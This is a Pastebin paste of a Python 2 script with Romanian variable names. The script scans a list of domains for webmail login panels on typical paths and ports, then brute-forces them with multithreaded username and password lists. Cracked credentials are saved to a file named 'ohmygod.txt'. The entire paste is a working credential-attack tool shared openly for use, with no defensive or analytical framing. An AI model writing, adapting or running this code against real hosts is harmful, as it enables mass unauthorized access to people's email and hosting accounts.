Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.87 KB | None | 0 0
  1. import urllib2
  2. import urllib
  3. import Queue
  4. import threading
  5. import signal
  6. from urlparse import urlparse
  7. import sys
  8. import json
  9. domenii=[]
  10. useri=[]
  11. passwd=[]
  12. stiva_login=Queue.Queue()
  13. stiva_brute=Queue.Queue()
  14. trap=False
  15. to_crack=[]
  16. dm=[]
  17. cracked=[]
  18. bad=[]
  19. done=[]
  20. domenii2=[]
  21. list_dom=[]
  22. ddm=[]
  23. def no404(url):
  24. r=urllib2.Request(url+"login/?login_only=1")
  25. try:
  26. u=urllib2.urlopen(r)
  27. if "status" in u.read():
  28. return 1
  29. except urllib2.HTTPError,e:
  30. if e.code==401 and "status" in e.read():
  31. return 1
  32. elif "status" in e.read():
  33. return 1
  34. else:
  35. return 0
  36. def login(domain,user,passwd):
  37. #print "apelat!\n"
  38. print " Incerc "+domain+" "+" "+user+" "+passwd
  39. data = urllib.urlencode({'user':user,'pass':passwd})
  40. #print domain+" "+data+"\n"
  41. req = urllib2.Request(domain+"login/?login_only=1", data)
  42. try:
  43. rsp = urllib2.urlopen(req)
  44. d=rsp.read()
  45. if "redirect" in d:
  46. return 1
  47. else:
  48. return -1
  49. except urllib2.HTTPError, e:
  50. if int(e.code)==401:
  51. return 0
  52. else:
  53. print str(e.code)+str(domain)
  54. return -1
  55. except urllib2.URLError,e:
  56. a=1
  57. def rq(url):
  58. global to_crack
  59. r=urllib2.Request(url)
  60. d=urlparse(url)
  61. print "[-] try:"+url
  62. try:
  63. http=urllib2.urlopen(r,timeout=10)
  64. if "Webmail" in http.read() and no404(url)==1 and d.hostname in http.geturl():
  65. to_crack.append(url)
  66. print "[+] "+url
  67. return 1
  68. else:
  69. return 0
  70. except urllib2.HTTPError,e:
  71. if e.code==401 or e.code==302 and d.hostname in e.geturl():
  72. if "Webmail" in e.read() and no404(url)==1:
  73. to_crack.append(url)
  74. print "[+] "+url
  75. return 1
  76. else:
  77. return 0
  78. except urllib2.URLError,e:
  79. return 0
  80. else:
  81. return 0
  82. def test_panel(j):
  83. global stiva_login,to_crack,dm,domenii2,dmd,list_dom
  84. while stiva_login.empty()==False and len(domenii)>0:
  85. ur=stiva_login.get()
  86. stiva_login.task_done()
  87. uht=urlparse(ur[1])
  88. if rq(ur[1]+"webmail")==1:
  89. rem2(ur[0])
  90. elif rq(ur[1]+"mail")==1:
  91. rem2(ur[0])
  92. elif rq(uht.scheme+"://webmail."+uht.hostname+"/"):
  93. rem2(ur[0])
  94. elif rq(uht.scheme+"://mail."+uht.hostname+"/"):
  95. rem2(ur[0])
  96. elif rq(uht.scheme+"://"+uht.hostname+":2096/")==1:
  97. rem2(ur[0])
  98. elif rq(uht.scheme+"://"+uht.hostname+":2082/")==1:
  99. rem2(ur[0])
  100. elif rq(uht.scheme+"://"+uht.hostname+":2095/")==1:
  101. rem2(ur[0])
  102. else:
  103. rem2(ur[0])
  104. def rem(d):
  105. global to_crack
  106. if d in to_crack:
  107. to_crack.remove(d)
  108. def rem2(d):
  109. global domenii
  110. if d in domenii:
  111. domenii.remove(d)
  112. def brute(j):
  113. global stiva_brute,cracked,bad,to_crack2
  114. while stiva_brute.empty()==False and len(to_crack)>0:
  115. date=stiva_brute.get()
  116. stiva_brute.task_done()
  117. o=urlparse(date[0]).hostname
  118. s=o.split(".")
  119. email_domain=s[len(s)-2]+"."+s[len(s)-1]
  120. if date[0] not in cracked:
  121. r=login(date[0],date[1]+"@"+email_domain,date[2])
  122. if r==1:
  123. print "[+] OH MY GOD!!!!!: "+date[0]+" "+date[1]+"@"+email_domain+" "+date[2]
  124. cracked.append(date[0])
  125. open("ohmygod.txt",'a').write(date[0]+" "+date[1]+"@"+email_domain+" "+date[2]+"\n")
  126. rem(date[0])
  127.  
  128. def cauta_panel():
  129. global stiva_login,stiva_brute,domenii2,list_dom
  130. for d in domenii:
  131. url=urlparse(d)
  132. stiva_login.put((url.hostname,d))
  133. threaduri=[]
  134. for i in range(int(sys.argv[4])):
  135. t=threading.Thread(target=test_panel,args=(1,))
  136. threaduri.append(t)
  137. t.start()
  138. for t in threaduri:
  139. t.join()
  140. def start_brute():
  141. global stiva_brute,to_crack,useri,passwd
  142. for d in to_crack:
  143. for u in useri:
  144. for p in passwd:
  145. stiva_brute.put((d,u,p))
  146. threaduri=[]
  147. for i in range(int(sys.argv[5])):
  148. t=threading.Thread(target=brute,args=(1,))
  149. threaduri.append(t)
  150. t.start()
  151. for t in threaduri:
  152. t.join()
  153. domenii=open(sys.argv[1]).read().splitlines()
  154. useri=open(sys.argv[2]).read().splitlines()
  155. passwd=open(sys.argv[3]).read().splitlines()
  156. cauta_panel()
  157. for i in to_crack:
  158. print i
  159. start_brute()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement